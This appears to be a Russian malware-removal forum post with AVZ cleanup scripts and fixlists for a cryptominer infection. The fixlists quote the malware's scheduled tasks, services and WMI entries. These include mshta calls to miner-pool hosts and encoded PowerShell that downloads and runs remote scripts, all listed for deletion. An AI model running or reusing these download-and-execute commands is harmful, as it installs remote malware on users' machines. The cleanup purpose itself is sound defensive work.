Sysdump txt saved как исправить

begin
ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.' + #13#10 + 'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
 then
  begin
   SearchRootkit(true, true);
   SetAVZGuardStatus(True);
  end;
 TerminateProcessByName('C:Windowsservices.exe');
 QuarantineFile('C:Windowsservices.exe','');
 DeleteFile('C:Windowsservices.exe','32');
 DeleteSchedulerTask('MicrosoftWindowsDiagnosisScheduledDiagnosis');
 DeleteSchedulerTask('MicrosoftWindowsMultimediaCodecUpdateTask');
 DeleteSchedulerTask('MicrosoftWindowsMultimediaSystemVideoService');
 DeleteSchedulerTask('MicrosoftWindowsSetUpd');
 DeleteSchedulerTask('MicrosoftWindowsShellWindowsParentalControlsSettings');
 DeleteSchedulerTask('MicrosoftWindowsTcpipIpAddressConflict');
 DeleteSchedulerTask('MicrosoftWindowsWDIUPD');
 DeleteSchedulerTask('MicrosoftWindowsWindows DefenderTask Update');
 DeleteSchedulerTask('MicrosoftWindowsWindows Filtering PlatformIP Filter');
 DeleteSchedulerTask('MicrosoftWindowsWindowsUpdateAUIFirmwareUpdate');
 DeleteSchedulerTask('MicrosoftWindows DefenderScannerSchduler');
 DeleteSchedulerTask('MicrosoftWindowsRasWinSockets');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
RebootWindows(false);
end.

begin
DeleteFile(GetAVZDirectory+'quarantine.7z');
ExecuteFile(GetAVZDirectory+'7za.exe', 'a -mx9 -pmalware quarantine ./Quarantine/', 1, 0, true);
end.

Start::
CreateRestorePoint:
CloseProcesses:
2023-02-11 12:42 - 2023-02-11 12:42 - 001631744 _____ () C:Windowsservices.exe
HKLMSOFTWAREMicrosoftWindows Defender: [DisableAntiSpyware] Ограничение <==== ВНИМАНИЕ
HKLMSOFTWAREPoliciesMicrosoftWindows Defender: Ограничение <==== ВНИМАНИЕ
HKUS-1-5-21-2281474314-2006405269-869121014-1000...MountPoints2: {8cbeef0b-f729-11e4-aa83-c03fd5b01dd7} - F:LGAutoRun.exe
HKUS-1-5-21-2281474314-2006405269-869121014-1000...MountPoints2: {963b99ae-1fe0-11e6-a773-c03fd5b01dd7} - F:AutoRun.exe
HKUS-1-5-21-2281474314-2006405269-869121014-1000...MountPoints2: {a023080d-a7c9-11e7-98f1-c03fd5b01dd7} - F:Setup.exe
HKUS-1-5-21-2281474314-2006405269-869121014-1000...MountPoints2: {a26743a1-7f1c-11e5-b829-c03fd5b01dd7} - F:AutoRun.exe
HKUS-1-5-21-2281474314-2006405269-869121014-1000...MountPoints2: {a26743af-7f1c-11e5-b829-c03fd5b01dd7} - F:AutoRun.exe
IFEONarrator.exe: [Debugger] notepad.exe
Task: {13794EAA-8D3D-4A5E-9902-13A61911FE5F} - System32TasksMicrosoftWindowsMultimediaCodecUpdateTask => cmd /c mshta hxxps://eu1.minerpool.pw/checks.hta <==== ВНИМАНИЕ
Task: {1AE1B560-F9EB-4DED-B302-A9CE53DB0DA6} - System32TasksMicrosoftWindowsShellWindowsParentalControlsSettings => cmd /c mshta hxxp://eu1.minerpool.pw/check.hta <==== ВНИМАНИЕ
Task: {1DA56D17-B587-445D-BD93-13D2A2906F75} - System32TasksMicrosoftWindowsRasWinSockets => c:windowsservices.exe [1631744 2023-02-11] () [Файл не подписан] <==== ВНИМАНИЕ
Task: {531ABC9A-C238-4524-81DD-82A7872EDBE6} - System32TasksMicrosoftWindowsWindows Filtering PlatformIP Filter => cmd /c mshta hxxps://v1.fym5gserobhh.pw/check.hta <==== ВНИМАНИЕ
Task: {611C3F21-69A2-4BC2-B2CF-3B95C0D3FCB3} - System32Tasks{2E207767-0636-4BAD-8C58-ADF08A8A961F} => C:Program Files (x86)GoogleChromeApplicationchrome.exe (Нет файла)
Task: {7936A2C4-06F2-4BB1-A236-E6E8A3077136} - System32TasksMicrosoftWindows DefenderScannerSchduler => cmd /c mshta hxxp://res1.myrms.pw/upd.hta <==== ВНИМАНИЕ
Task: {7C69F86C-26E4-4299-92DE-DCABDC14F4B8} - System32Tasks{12B0632F-498C-45E9-8C06-33B5556C077C} => C:Program Files (x86)2gis3.0grym.exe (Нет файла)
Task: {9C293E2A-ECC9-40B9-B61D-049A788F58F4} - System32TasksMicrosoftWindowsSetUpd => powershell -exec bypass -e QwA6AFwAVwBpAG4AZABvAHcAcwBcAEYAbwBuAHQAcwBcAGQAZQBsAC4AcABzADEA
Task: {A8142646-2C0A-448E-B645-B3962F152BE6} - System32Tasks{2102F20E-1A0A-46FF-AEF2-F48FB6048DE8} => C:Program Files (x86)2gis3.0grym.exe (Нет файла)
Task: {AFE46812-48B3-4F72-96C8-1E45DFC3970D} - System32TasksMicrosoftWindowsMultimediaSystemVideoService => cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcAA6AC8ALwAxADAANwAuADEAOAAxAC4AMQA4ADcALgAxADMAMgAvAHAAaABwAC8AZgB1AG4AYwAuAHAAaABwACAAcwBjAHIAbwBiAGoALgBkAGwAbAA= <==== ВНИМАНИЕ
Task: {B24F30AA-8A04-405C-BA4E-8BD51D832D75} - System32TasksMicrosoftWindowsWindows DefenderTask Update => cmd /c mshta hxxps://eu1.ax33y1mph.pw/check.hta <==== ВНИМАНИЕ
Task: {B7127608-2E5C-4138-AE5A-EE97403226EA} - System32TasksMicrosoftWindowsDiagnosisScheduledDiagnosis => cmd /c mshta hxxps://pa.kl2a48yh.pw/check.hta <==== ВНИМАНИЕ
Task: {B72DDA97-8BA5-4FD3-86AF-2CF34D71233E} - System32TasksMicrosoftWindowsTcpipIpAddressConflict => cmd /c mshta hxxp://107.181.187.132/check.hta <==== ВНИМАНИЕ
Task: {BE6F4FF7-F7B5-40EA-9E89-C7D0EE161D75} - System32Tasks{39EEBA3F-4B37-46C3-8879-002C1CEEABEB} => C:Program Files (x86)2gis3.0grym.exe (Нет файла)
Task: {C6267DF7-BBF3-4D91-ACCE-1519B07EB25A} - System32Tasks{AA794037-7185-42D6-98C2-0CFDF2C16C91} => C:Program Files (x86)GoogleChromeApplicationchrome.exe (Нет файла)
Task: {CA4DD0E4-F044-47ED-9E27-36212E756DBE} - System32Tasks{08357E36-721E-49E7-AE59-97094859396B} => C:Program Files (x86)2gis3.0grym.exe (Нет файла)
Task: {D427651E-B00A-4A87-B3F1-8696977C6297} - System32Tasks{7170677C-0E92-4376-965B-2BE709026004} => C:Program Files (x86)GoogleChromeApplicationchrome.exe (Нет файла)
Task: {D71C4498-C22D-474A-8AE6-93E729B8EBE6} - System32Tasks{23C96994-61A5-4E43-98C7-6C0F2BD6974A} => C:Program Files (x86)GoogleChromeApplicationchrome.exe (Нет файла)
Task: {DE80D380-CE68-4A84-AAF8-B6762AA2787E} - System32TasksMicrosoftWindowsWDIUPD => cmd /c mshta hxxp://eu1.minerpool.pw/upd.hta <==== ВНИМАНИЕ
Task: {E2159284-2F2B-44F8-91A3-9AA791AA4431} - System32TasksMicrosoftWindowsWindowsUpdateAUIFirmwareUpdate => cmd /c powershell -exec bypass -e cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcAA6AC8ALwB2ADEALgBmAHkAbQA1AGcAcwBlAHIAbwBiAGgAaAAuAHAAdwAvAHAAaABwAC8AZgB1AG4AYwAuAHAAaABwACAAcwBjAHIAbwBiAGoALgBkAGwAbAA= <==== ВНИМАНИЕ
IPSecPolicy: [ActivePolicy] SOFTWAREPoliciesMicrosoftWindowsIPSECPolicyLocalipsecPolicy{e55c33b7-823c-4870-a01a-3357954963ff} <==== ВНИМАНИЕ (Ограничение - IP)
S3 cli_optimization_v2.0.55728_32; cmd /c mshta hxxps://pa.kl2a48yh.pw/check.hta [X]
S2 cli_optimization_v2.0.55728_64; cmd /c mshta  hxxp://eu1.minerpool.pw/check.hta [X]
S3 cli_optimization_v2.0.56730_32; cmd /c powershell -exec bypass -Command iex ((New-Object System.Net.WebClient).DownloadString('hxxp://v1.fym5gserobhh.pw/v1/check1.ps1')) [X]
S3 cli_optimization_v2.0.56733_32; cmd /c powershell -w 1 -exec bypass -e aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AYQAuADYAdQA5ADkAcQB2ADAAYgAuAHMAdQAvAHYAMQAvAGMAaABlAGMAawAxAC4AcABzADEAIgApACkA [X]
C:ProgramDatacm-lock
2023-01-23 05:30 - 2023-01-23 05:30 - 000014544 _____ (OpenLibSys.org) C:Windowssystem32WinRing0x64.sys
WMI:subscription__FilterToConsumerBinding->CommandLineEventConsumer.Name="BVTConsumer"",Filter="__EventFilter.Name="BVTFilter"::
WMI:subscription__EventFilter->BVTFilter::[Query => SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_Processor" AND TargetInstance.LoadPercentage > 99]
WMI:subscriptionCommandLineEventConsumer->BVTConsumer::[CommandLineTemplate => cscript KernCap.vbs][WorkingDirectory => C:\tools\kernrate]
FirewallRules: [{211D1263-F3A4-463C-9A0B-8F44E2A4630A}] => (Allow) C:Program FilesCommon FilesMcAfeePlatformMcSvcHostMcSvHost.exe => Нет файла
FirewallRules: [{54E59627-31A2-4AA0-8682-151BD88516B1}] => (Allow) C:Program FilesCommon FilesMcAfeePlatformMcSvcHostMcSvHost.exe => Нет файла
FirewallRules: [TCP Query User{65F72A44-95A7-447F-95AB-2AC1A9BEAAEB}C:program files (x86)tmenterprise1tmdriverservertmdriverserver.exe] => (Allow) C:program files (x86)tmenterprise1tmdriverservertmdriverserver.exe => Нет файла
FirewallRules: [UDP Query User{DFF2E827-E32D-46C3-89A4-E6C5C7AED5D4}C:program files (x86)tmenterprise1tmdriverservertmdriverserver.exe] => (Allow) C:program files (x86)tmenterprise1tmdriverservertmdriverserver.exe => Нет файла
FirewallRules: [TCP Query User{753F6E65-70E9-4E2D-83DF-02EB8240692C}C:program files (x86)tmenterprise1tmserver.exe] => (Allow) C:program files (x86)tmenterprise1tmserver.exe => Нет файла
FirewallRules: [UDP Query User{65229595-5AF1-439F-A7ED-CEA361191253}C:program files (x86)tmenterprise1tmserver.exe] => (Allow) C:program files (x86)tmenterprise1tmserver.exe => Нет файла
FirewallRules: [TCP Query User{66B0C34A-DC5B-4699-983C-326215A0A95E}C:program files (x86)tmenterprise1tmdriverservertmdriverserver.exe] => (Allow) C:program files (x86)tmenterprise1tmdriverservertmdriverserver.exe => Нет файла
FirewallRules: [UDP Query User{F726F886-7F56-4E05-91DB-D65C0E4902BA}C:program files (x86)tmenterprise1tmdriverservertmdriverserver.exe] => (Allow) C:program files (x86)tmenterprise1tmdriverservertmdriverserver.exe => Нет файла
FirewallRules: [TCP Query User{B946E8B8-8118-4D0D-878C-89F9D816D8D0}C:program files (x86)tmenterprise1tmserver.exe] => (Allow) C:program files (x86)tmenterprise1tmserver.exe => Нет файла
FirewallRules: [UDP Query User{663650A9-A8C0-4CE8-8638-BD48A75200C1}C:program files (x86)tmenterprise1tmserver.exe] => (Allow) C:program files (x86)tmenterprise1tmserver.exe => Нет файла
FirewallRules: [{35A8EAFB-106B-4409-8DDF-1C33B04F3140}] => (Allow) C:Program FilesCommon FilesMcAfeePlatformMcSvcHostMcSvHost.exe => Нет файла
FirewallRules: [{A1DD20DB-E4CA-4DB7-8C5D-B6365E847268}] => (Allow) C:Program FilesCommon FilesMcAfeePlatformMcSvcHostMcSvHost.exe => Нет файла
FirewallRules: [{E5E53F8C-F7E8-4A97-A25B-9472ABFDB32F}] => (Allow) C:Program FilesBareosbareos-fd.exe => Нет файла
Reboot:
End::

Start::
CreateRestorePoint:
2023-02-11 17:36 - 2023-02-11 17:36 - 000000004 ____H C:ProgramDatacm-lock
NETSVC: MsF5E98B78App -> отсутствует путь к файлу.
Task: {0EB468F6-8053-48E2-9E26-A4EE5F0F5C8E} - System32TasksMicrosoftWindowsDiagnosisDiskDiagnostics => cmd /c sc start cli_optimization_v2.0.56733_32
Task: {373CB9B0-7DB7-413A-BB23-E5B748A1B552} - System32TasksMicrosoftWindowsDiagnosisChkfsScheduled => cmd /c sc start cli_optimization_v2.0.55728_64
Task: {5EBB3703-8909-4397-B72B-C24F55ADDF03} - System32Tasks{A4AADC1C-CD6F-4089-82E1-1D53EAFAE175} => C:Program Files (x86)2gis3.0grym.exe (Нет файла)
Task: {6B7838C7-11B9-4465-85B8-A056F267C0FE} - System32TasksMicrosoftWindowsLocationTelemetry => cmd /c sc start cli_optimization_v2.0.55728_32
Task: {C6237900-D796-4675-9AEA-3CF5C117A31A} - System32TasksMicrosoftWindowsUPnPUPnPHostSearch => cmd /c schtasks /run /TN MicrosoftWindowsRasWinSockets
Task: {DB680ADA-0723-488C-AEA9-0A5946C94286} - System32TasksMicrosoftWindowsIMESQM Data Update => cmd /c sc start cli_optimization_v2.0.56730_32
IPSecPolicy: [ActivePolicy] SOFTWAREPoliciesMicrosoftWindowsIPSECPolicyLocalipsecPolicy{a8fa3862-5da3-4317-b129-5c3a69471ef6} <==== ВНИМАНИЕ (Ограничение - IP)
EmptyTemp:
Reboot:
End::

Start::
C:WindowsSystem32MsF5E98B78App.dll
C:ProgramDatacm-lock
Reboot:
End::